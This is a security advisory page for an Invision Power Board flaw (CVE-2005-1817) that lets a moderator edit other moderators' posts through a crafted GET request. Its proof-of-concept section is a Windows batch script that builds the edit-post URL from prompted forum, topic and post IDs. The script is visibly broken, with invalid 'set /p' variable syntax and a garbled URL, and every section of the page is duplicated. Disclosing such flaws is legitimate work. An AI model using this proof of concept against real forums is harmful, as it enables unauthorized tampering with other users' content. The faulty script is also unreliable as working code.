Invision Power Board Unauthorized Access Vulnerability
BID:13802
Info
Invision Power Board Unauthorized Access Vulnerability
| Bugtraq ID: | 13802 |
| Class: | Access Validation Error |
| CVE: |
CVE-2005-1817 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2005 12:00AM |
| Updated: | Jul 12 2009 02:56PM |
| Credit: | Discovery is credited to V[i]RuS <[email protected]>. |
| Vulnerable: |
Invision Power Services Invision Board 1.3 Final Invision Power Services Invision Board 1.3 Invision Power Services Invision Board 1.3 Invision Power Services Invision Board 1.2 Invision Power Services Invision Board 1.1.2 Invision Power Services Invision Board 1.1.1 Invision Power Services Invision Board 1.0.1 Invision Power Services Invision Board 1.0 |
| Not Vulnerable: | |
Discussion
Invision Power Board Unauthorized Access Vulnerability
Invision Power Board is affected by an unauthorized access vulnerability.
Reportedly, a moderator can edit forum posts owned by other moderators through an HTTP GET request without providing sufficient authentication credentials.
Invision Power Board versions 1.0 to 1.3 Final are reportedly affected by this vulnerability.
Invision Power Board is affected by an unauthorized access vulnerability.
Reportedly, a moderator can edit forum posts owned by other moderators through an HTTP GET request without providing sufficient authentication credentials.
Invision Power Board versions 1.0 to 1.3 Final are reportedly affected by this vulnerability.
Exploit / POC
Invision Power Board Unauthorized Access Vulnerability
An exploit is not required.
The following proof of concept is available:
echo off
cls
title Ipb Edit Bug
color a
echo enter url(example:www.example.com):
set /p %url%=
echo enter Folder(example:/forums):
set /p %Folder%=
echo enter Forum id(example:5) you are moderating:
set /p %forumid%=
echo enter topic id(example:103226) you want to edit:
set /p %topicid%=
echo enter p=num(example:760594) id you want to edit:
set /p %pnum%=
echo enter any key to go the edit post page...
pause
start iexplore.exe %url%forumid%/index.php?act=Post&CODE=08&f=%forumid%&t=%topicid%&p=%pnum%
An exploit is not required.
The following proof of concept is available:
echo off
cls
title Ipb Edit Bug
color a
echo enter url(example:www.example.com):
set /p %url%=
echo enter Folder(example:/forums):
set /p %Folder%=
echo enter Forum id(example:5) you are moderating:
set /p %forumid%=
echo enter topic id(example:103226) you want to edit:
set /p %topicid%=
echo enter p=num(example:760594) id you want to edit:
set /p %pnum%=
echo enter any key to go the edit post page...
pause
start iexplore.exe %url%forumid%/index.php?act=Post&CODE=08&f=%forumid%&t=%topicid%&p=%pnum%
Solution / Fix
Invision Power Board Unauthorized Access Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Invision Power Board Unauthorized Access Vulnerability
References:
References:
- Invision Board Forum (Invision Power Services)